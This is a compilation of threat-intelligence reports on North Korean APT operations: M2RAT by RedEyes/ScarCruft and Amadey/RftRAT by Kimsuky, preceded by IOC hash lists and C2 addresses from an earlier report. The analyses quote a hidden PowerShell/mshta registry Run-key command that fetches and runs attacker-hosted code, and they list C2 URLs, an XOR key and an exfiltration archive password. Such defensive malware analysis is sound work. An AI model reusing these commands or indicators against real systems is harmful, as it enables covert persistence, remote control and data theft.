+27ec6fb6739c4886b3c9e21b6b9041b6 +612585fa3ada349a02bc97d4c60de784 +21c7b2e6e0fb603c5fdd33781ac84b8f +c44457653b2c69933e04734fe31ff699 +e31b7d841b1865e11eab056e70416f1a +69c7d9025fa3841c4cd69db1353179cf +fca13226da57b33f95bf3faad1004ee0 +af002abd289296572d8afadfca809294 +e981219f6ba673e977c5c1771f86b189 +f978d05f1ebeb5df334f395d58a7e108 +e3af60f483774014c43a7617c44d05e7 +c802dd3d8732d9834c5a558e9d39ed37 +07191f554ed5d9025bc85ee1bf51f975 +61a687b0bea0ef97224c7bd2df118b87 +(omitted) + Privilege Escalation +9fe61c9538f2df492dff1aab0f90579f +ab9091f25a5ad44bef898588764f1990 +87e5c9f3127f29465ae04b9160756c62 +ab9091f25a5ad44bef898588764f1990 +4bafbdca775375283a90f47952e182d9 +0311ee1452a19b97e626d24751375652 +acacf51ceef8943f0ee40fc181b6f1fa +3cbea05bf7a1affb821e379b1966d89c +10f4a1df9c3f1388f9c74eb4cdf24e7c +b5bdf2de230722e1fe63d88d8f628ebc +edb685194f2fcd6a92f6e909dee7a237 +e9bd5ed33a573bd5d9c4e071567808e5 +fbae6c3769ed4ae4eccaff76af7e7dfe +937435bbcbc3670430bb762c56c7b329 +fd0f73dd80d15626602c08b90529d9fd +29274ca90e6dcf5ae4762739fcbadf01 +784becfb944dec42cccf75c8cf2b97e3 +7307c6900952d4ef385231179c0a05e4 +bcfca13c801608a82a0924f787a19e1d +75fe1b6536e94aaee132c8d022e14f85 +d6cb8b66f7a9f3b26b4a98acb2f9d0c5 +323a36c23e61c6b37f28abfd5b7e5dfe +7b40aa57e1c61ecd6db2a1c18e08b0af +3665d512be2e9d31fc931912d5c6900e + Network Scan +1aca4310315d79e70168f15930cc3308 +5e0845a9f08c1cfc7966824758b6953a +9b0e4652a0317e6e4da66f29a74b5ad7 +d8d36f17b50c8a37c2201fbb0672200a +b998a39b31ad9b409d68dcb74ac6d97d +d5054ed83e63f911be46b3ff8af82267 +e7b7bf4c2ed49575bedabdce2385c8d5 +f01a9a2d1e31332ed36c1a4d2839f412 +d4d8c9be9a4a6499d254e845c6835f5f + FRP +4eb5eb52061cc8cf06e28e7eb20cd055 +0cc22fd05a3e771b09b584db0a161363 +8de8dfcb99621b21bf66a3ef2fcd8138 +df8f2dc27cbbd10d944210b19f97dafd +2866f3c8dfd5698e7c58d166a5857e1e +15/17 +cbee2fd458ff686a4cd2dde42306bba1 +3dc8b64b498220612a43d36049f055ab +31c4a3f16baa5e0437fdd4603987b812 +b33a27bfbe7677df4a465dfa9795ff4a +7d9c233b8c9e3f0ea290d2b84593c842 +c4f18576fd1177ba1ef54e884cb7a79d +5d33609af27ea092f80aff1af6ddf98d +622f060fce624bdca9a427c3edec1663 +1f2432ec77b750aa3e3f72c866584dc3 +d331602d190c0963ec83e46f5a5cd54a +21d268341884c4fc62b5af7a3b433d90 + FRP_INI +6a20945ae9f7c9e1a28015e40758bb4f +a29f39713ce6a92e642d14374e7203f0 +7ce988f1b593e96206a1ef57eb1bec8a +fc9abba1f212db8eeac7734056b81a6e +9f55b31c66a01953c17eea6ace66f636 +33129e959221bf9d5211710747fddabe +48b99c2f0441f5a4794afb4f89610e48 +28e026b9550e4eb37435013425abfa38 +2ceabffe2d40714e5535212d46d78119 +c72750485db39d0c04469cd6b100a595 +68403cc3a6fcbeb9e5e9f7263d04c02f +52ff6e3e942ac8ee012dcde89e7a1116 +d82481e9bc50d9d9aeb9d56072bf3cfe +22381941763862631070e043d4dd0dc2 +6b5bccf615bf634b0e55a86a9c24c902 +942d949a28b2921fb980e2d659e6ef75 +059d98dcb83be037cd9829d31c096dab +cca50cdd843aa824e5eef5f05e74f4a5 +f6f0d44aa5e3d83bb1ac777c9cea7060 +0ca345bc074fa2ef7a2797b875b6cd4d +f6da8dc4e1226aa2d0dabc32acd06915 +0bbfaea19c8d1444ae282ff5911a527b + LCX +a69d3580921ec8adce64c9b38ac3653a +c4e39c1fc0e1b165319fa533a9795c44 +fb6bf74c6c1f2482e914816d6e97ce09 +678dbe60e15d913fb363c8722bde313d + Proxies etc. +e0f4afe374d75608d604fbf108eac64f +f5271a6d909091527ed9f30eafa0ded6 +ae8acf66bfe3a44148964048b826d005 + Lateral Movement +6983f7001de10f4d19fc2d794c3eb534 +fcb7f7dab6d401a17bd436fc12a84623 + Information Collection and Credential Theft +bb8bdb3e8c92e97e2f63626bc3b254c4 +80f421c5fd5b28fc05b485de4f7896a1 +a03b57cc0103316e974bbb0f159f78f6 +46f366e3ee36c05ab5a7a319319f7c72 +7bd775395b821e158a6961c573e6fd43 +b434df66d0dd15c2f5e5b2975f2cfbe2 +16/17 +c17cfe533f8ce24f0e41bd7e14a35e5e + Backdoor +011cedd9932207ee5539895e2a1ed60a +bc744a4bf1c158dba37276bf7db50d85 +23c0500a69b71d5942585bb87559fe83 +53271b2ab6c327a68e78a7c0bf9f4044 +c87ac56d434195c527d3358e12e2b2e0 +C2 and URL (Abused Korean company servers are not listed) + Download C2 +91.217.139[.]117 + Upload C2 +205.185.122[.]95 +91.217.139[.]117 + FRP & LCX C2 +hxxp://sk1.m00nlight[.]top:80 (45.136.186.19) //MOACK_Co_LTD company server +hxxps://fk.m00nlight[.]top:443 (45.136.186.175:443) //MOACK_Co_LTD company server +hxxps://aa.zxcss[.]com:443 (45.93.31.122) //MOACK_Co_LTD company server +45.93.31[.]75:7777 //MOACK_Co_LTD company server +45.93.28[.]103:8080 //MOACK_Co_LTD company server +103.118.42[.]208 +101.43.121[.]50 + Backdoor C2 +45.93.31[.]75 //MOACK_Co_LTD company server +Subscribe to AhnLab +s next-generation threat intelligence platform +AhnLab TIP + to check related IOC and detailed analysis +information. +Categories:Malware Information +Tagged as:AntSword,APT,AspxSpy,BadPotato,BitLocker,Bitsadmin,Blueshell,certutil,Chopper,CobaltStrike,conf.aspx,CVE-2017-10271,CVE2018-8639,CVE-20191458,Dalbit,duhgghmpert.dmp,Dumpert,EFSPotato,ff0.123456,FRP,FSCAN,Godzilla,Gotohttp,HTRAN,JuicyPotato,Ladon,LCX,m00nlight,ma +in,Mimikatz,NPS,NTLTEST,ProcDump,RDP,ReGeorg,RottenPotato,Rsync,SweetPotato,WebLogic,xp_cmdshell +17/17 +HWP Malware Using the Steganography Technique: RedEyes (ScarCruft) +asec.ahnlab.com/en/48063 +By muhan +February 21, 2023 +In January, the ASEC (AhnLab Security Emergency response Center) analysis team discovered that the RedEyes threat +group (also known as APT37, ScarCruft) had been distributing malware by exploiting the HWP EPS (Encapsulated +PostScript) vulnerability (CVE-2017-8291). This report will share the RedEyes group +s latest activity in Korea. +1. Overview +The RedEyes group is known for targeting specific individuals and not corporations, stealing not only personal PC +information but also the mobile phone data of their targets. A distinct characteristic of the latest RedEyes group attack is +the fact that they exploited the HWP EPS vulnerability using the steganography technique to distribute their malware. +The HWP EPS vulnerability used in the attacks is an old vulnerability that has already been patched in the latest version +of the Hangul Word Processor. We assume that the threat actor initiated their attacks after checking in advance if their +targets (individuals) were using an older version of HWP that supports EPS. Furthermore, there is a confirmed past case +where the RedEyes group used the steganography technique to distribute malware. In 2019, Kaspersky shared a report +saying that the ScarCruft (RedEyes) group +s downloader used the steganography technique to download additional +malware. +The usage of the steganography technique to download malware and the RUN key command for autorun registration to +establish a consistent connection with the C&C server being similar to the format used by the RedEye group in the past +are the reasons why we believe they had done this attack. +The RedEyes group is also known for using Powershell and the Chinotto malware to steal PC information and remote +control systems. However, a new malware strain was found in the latest attack which, unlike Chinotto, uses the shared +memory section to carry out C&C commands. +Regarding the newly identified malware, the ASEC analysis team named it M2RAT (Map2RAT) after the name found +in the shared memory section. +Figure 1. Shared memory section name info +This report covers the TTPs (Tactics, Techniques, and Procedures) of the RedEyes group +s initial access, defense evasion, +persistence, and the newly identified M2RAT +s latest command control and exfiltration. +1/13 +Figure 2. Flow chart of the attack scenario +2. Analysis +2.1. Initial Access +On January 13, an HWP EPS vulnerability (CVE-2017-8291) attack involving the usage of the filename +Form.hwp + was +discovered by AhnLab +s ASD (AhnLab Smart Defense). The HWP document was not collected at the time of the analysis, +but we were able to procure the EPS file that triggered the aforementioned vulnerability. +Figure 3. ASD infrastructure log +EPS is a type of graphic format that uses the PostScript programming language by Adobe to show graphics. Highresolution vector images can be shown through EPS and the Hangul Word Processor supported a third-party module +(ghostscript) to process EPS files. However, due to an increase in malicious EPS vulnerability exploitations, such as APT +attacks, Hancom has removed the third-party EPS processing module. +Additionally, the ASEC analysis team posted a detailed analysis report on the CVE-2017-8291 vulnerability back in 2019. +The +Form.hwp + file includes a vulnerable EPS file (CVE-2017-8291) which is shown in Figure 4. When the user opens +the file ( +Form.hwp +), the vulnerability allows the threat actor +s shellcode to run through the third-party module. +Figure 4. EPS vulnerability code within +Form.hwp +2/13 +Figure 5. Stage 1: Shellcode execution through EPS vulnerability +The shellcode downloads an image file (JPEG) from the threat actor +s server (C&C) and decrypts the encoded PE file +contained within the image file. Afterward, it creates the PE file in the %temp% path before executing it. +2.2. Defense Evasion +The shellcode downloaded an image file from the threat actor +s server and executed an additional piece of malware. In +other words, the threat actor used the steganography technique to embed a malware strain within an image. We assume +that this was done to evade network detection. It appears that the steganography image file used by the threat actor was +obtained from a wallpaper-sharing website called +wallup.net +3/13 +Figure 6. Steganography image file +The image file consists of a normal JPEG header, the meta data required for decoding the PE file (XOR key and file size), +and the encoded PE file. +Figure 7. Configuration info of steganography image +A 16-byte XOR key is used for PE decoding to XOR 1 byte at a time. +4/13 +16-byte xor key : FD DD 28 F5 7C 48 8E 7E 0C E0 17 77 35 87 3B 49 +(0xFD xor 0xB0) = 0x4D (M) +(0xDD xor 0x87) = 0x5A (Z) +(0x28 xor 0xB8) = 0x90 +(0xF5 xor 0xF5) = 0x00 +(* MZ is the signature of the PE file.) +The ultimately decoded PE file is created and executed under the name lskdjfel.exe in the %temp% path. The executed +PE file is responsible for downloading an additional backdoor malware (M2RAT), injecting it into explorer.exe, and +adding both Powershell and mshta commands to the autorun registry Run key to establish a persistent connection with +the threat actor +s server. +2.3. Persistence +The executed lskdjfel.exe file registers the following command to the registry Run key to establish a persistent +connection with the threat actor +s server. +Registry key path: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run +Value name: RyPO +Value: c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep +bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*****elearning.or[.]kr/popup/handle/1.html +Figure 8. Stage 2: Execution of the decrypted PE file (Backdoor download and ensuring persistence) +The command registered to the registry Run key was found to be similar to that of the ScarCruft (RedEyes) group report +published by Kaspersky in 2021. +[ScarCruft +s registry Run key command in 2021 (by Kaspersky)] +c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping +-n 1 -w 300000 2.2.2.2 || mshta hxxp://[redacted].cafe24[.]com/bbs/probook/1.html +5/13 +[RedEyes (ScarCruft) registry Run key command in 2023] +c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping +-n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*******elearning.or[.]kr/popup/handle/1.html +Whenever the affected host PC is booted up, the registry key causes Powershell and the normal Windows utility, mshta, +to also be executed. At the time of analysis, an HTA (HTML Application) file containing a JS (JavaScript) code was +collected from the +1.html + file that mshta had downloaded from the threat actor +s server. +The JS code is responsible for executing the Powershell command, which receives and executes commands from the +threat actor +s server, and returns the results. +When the Powershell adds a + parameter to the threat actor +s server address when transmitting the computer name +and username, the threat actor +s server encodes the CMD command that is going to be executed in BASE64 before +sending it to the affected host. The encoded BASE64 command is then decoded by Powershell and executed. The result +of the command is saved as a file in the %temp%\vnGhazwFiPgQ path. Afterward, an + parameter is added to the +threat actor +s server which then encodes the command execution result in BASE64 before sending it. +hxxps://www.*******elearning.or[.]kr/popup/handle/log.php? U=[Computer Name]+[Username] // +Receive the threat actor +s command +hxxps://www.*******elearning.or[.]kr/popup/handle/log.php? R=[BASE64-encoded] // Send command +execution result +6/13 +Figure 9. Persistence-related Powershell code +2.4. M2RAT (Map2RAT) +The ultimately executed backdoor operates after being injected into explorer.exe. The main features of this backdoor are +similar to those of basic remote control malware, which include keylogging, data leakage (files and recordings), running +or terminating processes, and capturing screenshots. +7/13 +Figure 10. Stage 3: Execution of M2RAT backdoor +However, the recently discovered backdoor has a different command system compared to the previously identified +Chinotto malware. It does not save the keylogging data or screenshot logs in the affected system but instead sends them +to the threat actor +s server, leaving no traces of the stolen data in the affected system. +The ASEC analysis team named this newly identified malware M2RAT ( Map2 RAT) after the common name within the +shared memory section used during C&C communication. +FileInput Map2 +ProcessInput Map2 +CaptureInput Map2 +RawInput Map2 +RegistryModuleInput Map2 +TypingRecordInput Map2 +UsbCheckingInput Map2 +2.4.1. Command and Control of M2RAT +M2RAT +s C&C communications command system involves receiving commands from the threat actor +s server through +the POST method +s Body. The meaning of these command can be found in the below Table 1. +8/13 +Figure 11. Screenshot of M2RAT +s C&C communications (Fiddler) +C&C Command +Description +Command received upon initial connection with C&C communications +Edits the registry key value to update the C&C +Updates the currently connected C&C +Ends C&C connection (End M2RAT) +Ends C&C connection (End M2RAT) +Performs remote control commands (Keylogging and process creation/execution) +Table 1. Description of threat actor +s commands +M2RAT +s threat actor server manages hosts with MAC addresses in order to distinguish affected hosts. When infected +with M2RAT, the MAC address is encoded (XOR) with 0x5c and saved in the +HKCU\Software\OneDriver + path +Version + value. The encoded MAC address value is used to distinguish affected hosts in the threat actor +s server. +Registry key path: HKCU\Software\OneDriver +Value name: Version +Value: Value that XOR-encoded (0x5c) MAC address of the affected host +The result value of the command sent by the threat actor to the affected host is saved in the +_Encoded MAC Address +Value_2 + folder of the threat actor +s server. The screenshots taken by M2RAT from the affected host are saved in the +_Encoded MAC Address Value_cap + folder. (Refer to Figure 12) +Figure 12. Threat actor +s server (Example) +(The server screen in Figure 12 is a screen created by AhnLab +s analysis system to resemble the threat actor +s web +server.) +9/13 +Additionally, M2RAT XOR encodes with 0x5c and saves the threat actor +s server address info in the +Property + value of +the same registry key path as the MAC address. +Registry key path: HKCU\Software\OneDriver +Value name: Property +Value: Value that XOR-encoded (0x5c) threat actor +s server address +In the future, the threat actor can transmit the + and + commands to M2RAT to update their server address +(Refer to Table 1). The + command is used to update the registry key with a new address and the + command +is used to change the threat actor +s address defined in the currently running instance of M2RAT. +The remote control command of M2RAT is established by transmitting CMD commands from the threat actor +s server. +The Chinotto malware, which was confirmed to have been used by the RedEyes group in the past, executed remote +control commands through the Query String method, but M2RAT creates a shared memory section to execute the +commands from the threat actor +s server. Like the threat actor +s use of the steganography technique in the initial breach +stage, this appears to also be for the purpose of evading network detection by hiding the command info in the Body of +the POST. +(* Query String: A string that starts with a question mark at the end of a URL) +The CMD command is transmitted through the shared memory. The memory section name info is shown below in Table +Section Name +Feature +RegistryModuleInputMap2 +Transmits additional module execution results (e.g. Mobile phone data leak module) +FileInputMap2 +Explores drives (A:\ + Z:\), create/write files, and changes file time +CaptureInputMap2 +Screenshots the current screen of the affected host +s PC +ProcessInputMap2 +Checks the process list, create/terminate processes +RawInputMap2 +Use ShellExectueExW API to run process +TypingRecordInputMap2 +Leaks keylogging data +UsbCheckingInputMap2 +USB data leak +(hwp, doc, docx, xls, xlsx, ppt, pptx, cell, csv, show, hsdt, mp3, amr, 3gp, m4a, txt, +png, jpg, jpeg, gif, pdf, eml) +Table 2. Features of the shared memory section +2.4.2. Exfiltration +M2RAT +s exfiltration features include screenshots of the affected host +s screen, process information, keylogging +information, and data (documents and voice files) leaks. In the case of screenshots, they are taken regularly even if a +command is not given by the threat actor. They are then sent to the threat actor +s server where they are saved as +result_[number] + in the +_Encoded MAC Address Value_cap + folder. +The remaining data leaks are saved in the +_Encoded MAC Address Value_2 + folder. +If there are documents or voice recordings with sensitive data in removable storage devices or shared folders, then these +are copied into the %TEMP% path, compressed into a password-protected file with Winrar (RAR.exe), and the results +are then transmitted to the threat actor +s server. +Folder path where data is copied to: %Temp%\Y_%m_%d_%H_%M_%S // (e.g. %TEMP%\Year_Month_Date +_Hour_Minute_Second) +File extensions: hwp, doc, docx, xls, xlsx, ppt, pptx, cell, csv, show, hsdt, mp3, amr, 3gp, m4a, txt, png, jpg, jpeg, +gif, pdf, eml +10/13 +The RAR.exe options that are used are as follows. The path the compressed file is created into is the same as the +%TEMP% folder path. +a -df -r -hp dgefiue389d@39r#1Ud -m1 +Compressed file creation path +Compression target path +Option Name +Description +Compress +Delete file after compression +Recover compressed file +Encrypt file data and header +Set compression level +Table 3. Explanation of RAR compression options +The ASEC analysis team was also able to uncover through the ASD (AhnLab Smart Defense) infrastructure an Infostealer +communicating with M2RAT. This malware was identified as a .NET file that steals files saved on mobile phones and +sends them to the RegistryModuleResultMap2 shared memory section of M2RAT. +Figure 13. Code that transmits exfiltrated data to M2RAT +11/13 +Figure 14. Mobile phone data theft target (file extension) info +The .NET file +s PDB info is as follows. +PDB : +E:\MyWork\PhoneDataCp\PhoneDeviceManager\PhoneDeviceManager\obj\x86\Release\PhoneDeviceManager.pdb +3. Conclusion +12/13 +The RedEyes group is an APT hacking organization that is supported on a national level. They are known to attack +individual targets such as human rights activists, reporters, and North Korean defects. Their aim appears to be +exfilitration. Defending against such APT attacks is an extremely complicated process. Especially since the RedEyes +group is known to target individuals instead of corporations. It is difficult for individuals to even realize they have been +affected. The ASEC analysis team is closely tracking this group. Should a new TTPs be found from this threat actor, we +will quickly share the details as we did in this blog post to contribute towards minimizing damage. +4. IOC +[MD5 (Detection name, engine version)] +8b666fc04af6de45c804d973583c76e0 // EPS file + Exploit/EPS.Generic (2023.01.16.03) +93c66ee424daf4c5590e21182592672e // Steganography JPEG + Data/BIN.Agent (2023.02.15.00) +7bab405fbc6af65680443ae95c30595d // PE file(JPEG) Stage PE file + Trojan/Win.Loader.C5359534 (2023.01.16.03) +9083c1ff01ad8fabbcd8af1b63b77e66 // Powershell script + Downloader/PS.Generic.SC185661 (2023.01.16.03) +4488c709970833b5043c0b0ea2ec9fa9 // M2RAT + Trojan/Win.M2RAT.C5357519 (2023.01.14.01) +7f5a72be826ea2fe5f11a16da0178e54 // Mobile phone data theft + Infostealer/Win.Phone.C5381667 (2023.02.14.03) +5. References +Categories:Malware Information +Tagged as:APT37,M2RAT,MaptoRAT,RedEyes,ScarCruft +13/13 +Kimsuky Group Uses AutoIt to Create Malware (RftRAT, +Amadey) +asec.ahnlab.com/en/59590 +By Sanseo +December 8, 2023 +Overview +Initial Access +. 2.1. Spear Phishing Attack +. 2.2. LNK Malware +Remote Control Malware +. 3.1. XRat (Loader) +. 3.2. Amadey +. 3.3. Latest Attack Cases +.. 3.3.1. AutoIt Amadey +.. 3.3.2. RftRAT +Post-infection +. 4.1. Keylogger +. 4.2. Infostealer +. 4.3. Other Types +Conclusion +1. Overview +The Kimsuky threat group, deemed to be supported by North Korea, has been active since +2013. At first, they attacked North Korea-related research institutes in South Korea before +attacking a South Korean energy corporation in 2014. Cases of attacks against countries +other than South Korea have also been identified since 2017. [1] The group usually employs +spear phishing attacks against the national defense sector, defense industries, the press, the +diplomatic sector, national organizations, and academic fields to steal internal information +and technology from organizations. [2] (This link is only available in Korean.) +Even until recently, the Kimsuky group was still mainly employing spear phishing attacks to +gain initial access. What makes the recent attacks different from the previous cases is that +more LNK shortcut-type malware are being used instead of malware in Hangul Word +Processor (HWP) or MS Office document format. The threat actor led users to download a +compressed file through attachments or download links within spear phishing emails. When +this compressed file is decompressed, it yields a legitimate document file along with a +malicious LNK file. +ASEC is monitoring the Kimsuky group +s attacks using LNK-type malware and is +continuously posting identified cases of attacks on the ASEC Blog. The Kimsuky group +installs remote control malware to control the infected system after completing such steps to +1/20 +gain initial access. Malware used by the Kimsuky group not only include custom-made such +as AppleSeed and PebbleDash [3], but also open-source or commercial malware such as +XRat [4], HVNC [5], Amadey [6], and Metasploit Meterpreter [7]. After gaining control, the +threat actor ultimately uses RDP or installs Google +s Chrome Remote Desktop [8] to +exfiltrate information from the infected system. +Here we analyze Amadey and RftRAT which were recently found being distributed. Amadey +and RftRAT were constantly used throughout 2023 alongside XRat. However, recent types +showed that they were created with AutoIt. This post also covers Infostealers additionally +installed by the Kimsuky group using remote control malware. While remote control-type +malware continuously change, the malware installed through these have not changed much +in the attacks in 2023. +2. Initial Access +2.1. Spear Phishing Attack +In the year 2023, ASEC covered cases of LNK malware distribution in posts such as +Malicious LNK File Disguised as a Normal HWP Document + [9], +Malicious LNK File Being +Distributed, Impersonating the National Tax Service + [10], and +Distribution of Malicious LNK +File Disguised as Producing Corporate Promotional Materials + [11]. +By attaching files or including download links in the emails, the threat actor prompted users +to download the compressed file and execute the LNK shortcut file inside. +2/20 +Figure 1. LNK malware included in compressed files +2.2. LNK Malware +The LNK file contains an encrypted compressed file, which in turn holds various malware in +script format. +3/20 +Figure 2. Malware in script format contained within LNK files +Executing the LNK file decompresses the file, and ultimately, the script malware is run. The +BAT and VBS scripts inside can either be used for executing other scripts or contain an +Infostealer responsible for collecting and exfiltrating information from the infected system. +There is also a script for maintaining persistence as well as a downloader that downloads +and executes additional payloads from an external source. +As such, malware in script format that run in infected systems install additional malware from +an external source, major examples of which are backdoors called XRat, Amadey, and +RftRAT. While these malware are all packed with VMP when in distribution, recently, Amadey +and RftRAT variants created with AutoIt have been used. After a remote control malware is +installed, keyloggers and Infostealers are installed to steal internal information and +technology from the organizations. +3. Remote Control Malware +3.1. XRat (QuasarRAT) +XRat is a RAT malware developed in .NET and was created based on QuasarRAT published +on GitHub. It was confirmed that the Kimsuky group was using XRat from a much earlier +point in time. Recently, instead of in independent executable or DLL file formats, this is being +used in attacks as an encrypted payload. It consists of the file +ht.dll + which is the loader, the +data file +htsetting.ini + holding the configuration data, and an encrypted payload. This method +seems to be for the purpose of bypassing security products. +4/20 +The loader reads, decrypts, and injects the htsetting.ini file located in the same path. All ht.dll +loaders identified so far were packed with VMP, and the decrypted binary contained the +following strings used by the threat actor. +Figure 3. Loader ht.dll packed with VMP +The configuration file contains the name of the actual encrypted malware, the RC4 +decryption key, and information on the legitimate file to inject into. Ht.dll references this +information to read and decrypt the encrypted file before injecting it into a legitimate process. +The payload that is injected and run in the end can be another malware besides XRat, +depending on the encrypted file. +3.2. Amadey +The Kimsuky group also used Amadey Bot in their attacks. Amadey is a malware that began +being sold on illegal forums. It is a downloader that installs additional malware from the C&C +server. Besides such downloader features, it can also transmit basic information about the +system or exfiltrate screenshots and account credentials saved in web browsers and email +clients depending on the settings or whether certain plugins are installed. +The Kimsuky group uses a dropper to install Amadey. This dropper, in DLL format, creates a +randomly named hidden folder in the %PUBLIC% path where it drops the files it holds. The +compressed file containing the actual Amadey is among the created files, and examining the +compression size shows this file to be large, exceeding 300 MB. This is also presumed to be +an attempt to evade security products by intentionally increasing the size. +5/20 +Figure 4. Amadey-related files created in the Public path +Afterward, it creates the path +%ALLUSERSPROFILE%\Startup + and registers it to the +Startup folder. Here, a script named +svc.vbs + is created, which is responsible for maintaining +persistence. Amadey, which is loaded and executed through the Rundll32.exe process, goes +through svchost.exe before being injected into the iexplore.exe process and run. +Figure 5. The infected system +s information transmitted to the C&C server +Even in 2023, the threat actor installed Amadey in many of their attacks, and in most +instances, it was installed by the same type of dropper. Said dropper also included RftRAT +besides Amadey. RftRAT, like Amadey, also has a file size exceeding 300 MB. +The RftRAT instances identified in these attacks were all packed with VMP like Amadey and +were found to contain the keyword +RFTServer + in the decrypted strings. RftRAT is a +backdoor that can receive commands from the C&C server and execute them. +6/20 +Figure 6. Decrypted strings in RftRAT +3.3. Latest Attack Cases +It was recently identified that the Kimsuky group has been using AutoIt to create malware. +The Kimsuky group ported Amadey which had been used from the past to AutoIt and also +used it for the purpose of injecting RftRAT. +In past attack cases, only the debug string RFTServer was found, but in recent attacks, a +malware containing a PDB path was found. The string within the PDB path shows that the +threat actor named this malware + as a RAT type. Accordingly, said malware is +categorized as +RftRAT + here. +Figure 7. RftRAT +s PDB information +PDB String: +E:_WORK\My_Work\Exploit\Spyware_spy\RAT\RFT_Socket_V3.2\Release\rft.pdb +3.3.1. AUTOIT AMADEY +As covered above, Amadey is one of the malware that has been constantly used by the +Kimsuky group. The version of Amadey used by the Kimsuky group is different from the type +used by other threat actors: Kimsuky group +s Amadey uses Domain Generation Algorithms +7/20 +(DGA), and when it scans for antivirus software installed in the infected system, it also +searches for product names from South Korean companies. +The recently identified Amadey is ported into the AutoIt language and has the same format +as the types identified in the past attack cases. The threat actor installed both a legitimate +AutoIt executable file and a compiled AutoIt script in the infected system. The compiled +AutoIt script is 100 MB in size for the purpose of hindering analysis and contains dummy +data as shown below. +Figure 8. The compiled AutoIt script file used in the attacks +Although written in a different language, the decrypted AutoIt script can be considered to be +the Amadey malware. The HTTP request structure for sending the system information +collected from the infected system to the C&C server is identical to that of the typical +Amadey. +Figure 9. The structure of the HTTP packet that Amadey sends to the C&C +server +Besides this, it also has a routine for checking for products from South Korean companies +when retrieving the list of antivirus products installed in the infected system. Furthermore, it +supports the feature to download additional payloads in not only an exe format, but also dll, +PowerShell, vbs, and js formats. +8/20 +Figure 10. The script where Amadey +s routine is implemented +As mentioned above, the Amadey used by the Kimsuky group supports DGA. DGA, also +known as Domain Generation Algorithm, dynamically generates a domain (C&C server +address) instead of a fixed form. After dynamically obtaining the C&C server address based +on the date, the Kimsuky group used this as a subsidiary C&C server. When the connection +to the C&C server was down, the subsidiary C&C server generated through DGA was used +for communication. +Figure 11. Amadey +s DGA +3.3.2. RFTRAT +9/20 +The AutoIt scripts used in the attacks include Amadey and RftRAT. The AutoIt executable file +and the malicious AutoIt script are also created through a dropper. The following ASD log +shows the execution log of +d015700.dll +, which is the dropper that installs RftRAT, and the +log showing RftRAT ultimately creating an Infostealer after being injected into svchost.exe. +Additionally, AppleSeed, another malware used by the Kimsuky group, was additionally +installed in the same system afterward. +Figure 12. Kimsuky group +s attack log +The RftRAT used in previous attacks is in DLL format and packed in VMP, so an exact +comparison is difficult. However, it was categorized into the past version of RftRAT due to the +fact that the same library file is used, that ICMLuaUtil is used to bypass UAC, and that the +path names used for saving C&C communication and command results are almost the same. +10/20 +Figure 13. Strings in a past version of RftRAT similar to the latest version +The compiled AutoIt script is similar to the Amadey in the case above, but it is actually an +injector that executes svchost.exe and injects RftRAT into it. The ultimate payload RftRAT +cannot be executed independently. Data must be read in from a mapped file named +A1CCA2EC-C09F-D33C-4317-7F71F0E2A976_0 +. The injector AutoIt script writes the +paths of the AutoIt executable file and script into this file. +Figure 14. The paths of AutoIt-related files transmitted through a file mapping process +11/20 +The transmitted paths of the AutoIt executable file and script are used later on in the UAC +bypassing stage. RftRAT uses the ICMLuaUtil interface of the CMSTPLUACOM component +to bypass UAC and execute itself as administrator. After being run as administrator, RftRAT +collects basic information about the infected system and sends it to the C&C server. +Offset +Data +0x0000 +Signature (0x963DA7EF) +0x0004 +Infected system +s ID +0x0044 +IP address +0x014 +Computer name +Table 1. Data delivered to the C&C server +Figure 15. The packet used for communication with the C&C server +Afterward, it receives commands from the C&C server. RftRAT writes the received +commands to the path +%APPDATA%\asc\t1.pb + before decrypting them. Decryption yields +the actual commands, which are written to the same file and reread to be executed. The +command, the execution results, and the additionally downloaded file are created in the +paths below. +12/20 +Path +Description +%APPDATA%\asc\t1.pb +Command downloaded from the C&C server +%APPDATA%\asc\t2.ax +Command execution results +%APPDATA%\asc\t3.br +File downloaded through the download command +Table 2. Files generated during the C&C communication and command processes +Command +Description +0x00 +Download file +0x01 +Upload file (zip compressed) +0x02 +Look up driver information +0x04 +Change file name +0x05 +Create directory +0x06 +Delete file +0x07 +Execute file (with UAC Bypass) +0x08 +Look up process information +0x09 +Terminate process +0x0A +Reverse shell +0x0B +Terminate process and delete file +0x12 +Terminate +0x14 +Wait +Table 3. RftRAT +s commands +4. Post-infection +After taking control of the infected system, to exfiltrate information, the Kimsuky group +installs various malware such as keyloggers and tools for extracting accounts and cookies +from web browsers. The group also installs Mimikatz and RDP Wrapper, which have both +been steadily used for many years. +4.1. Keylogger +13/20 +The keylogger is usually installed in the path +%ALLUSERSPROFILE%\startup\NsiService.exe +. It persists in the system and monitors key +input from the user, which is saved in the path +%ALLUSERSPROFILE%\semantec\av\C_1025.nls +%ALLUSERSPROFILE%\Ahn\av\C_1025.nls +. Additionally, +%ALLUSERSPROFILE%\semantec + is a folder where the keylogger is installed, along with +various malware covered in this article. +4.2. Infostealer +Malware for collecting information from web browsers were created in the +%ALLUSERSPROFILE%\semantec\ + path under the names +GBIA.exe +GBIC.exe +GBS.exe +, and +GPIA.dll +. While most target account credentials and cookies saved in web +browsers, there are types that collect files in the +Local Extension Settings + path, which is the +configuration data related to Chrome extensions. +Figure 16. Stealing account credentials from a web browser +Besides these, the tool named +GPIA.exe + looks up all paths in the infected system and +displays the files in each folder. Because the file containing the paths of all files is naturally +large, it also allows this file to be split-compressed. +14/20 +Figure 17. System path lookup tool +4.3. Other Types +A notable fact about the Kimsuky group is that it often abuses RDP for information theft. +Accordingly, it either installs RDP Wrapper or uses a patcher malware for multiple sessions. +Recently, there was a discovery of a malware that monitors the login records of the user. This +seems to be for the purpose of finding out when the user logs in to use RDP to connect +during idle times. +The file +taskhosts.exe + installed in the path +%ALLUSERSPROFILE%\semantec\ + is an +injector that injects +ipcheck.dll + into the +explorer.exe + and +runtimebroker.exe + processes. +ipcheck.dll + monitors the user +s log-on/log-off activities by hooking the +WinStationQueryInformationW() + and +ExitWindowsEx() + functions and the log is saved in +the path +%PUBLIC%\Log64.txt +15/20 +Figure 18. Log-on and log-off records saved in the log file +The threat actor also used proxy malware. Proxy tools in the 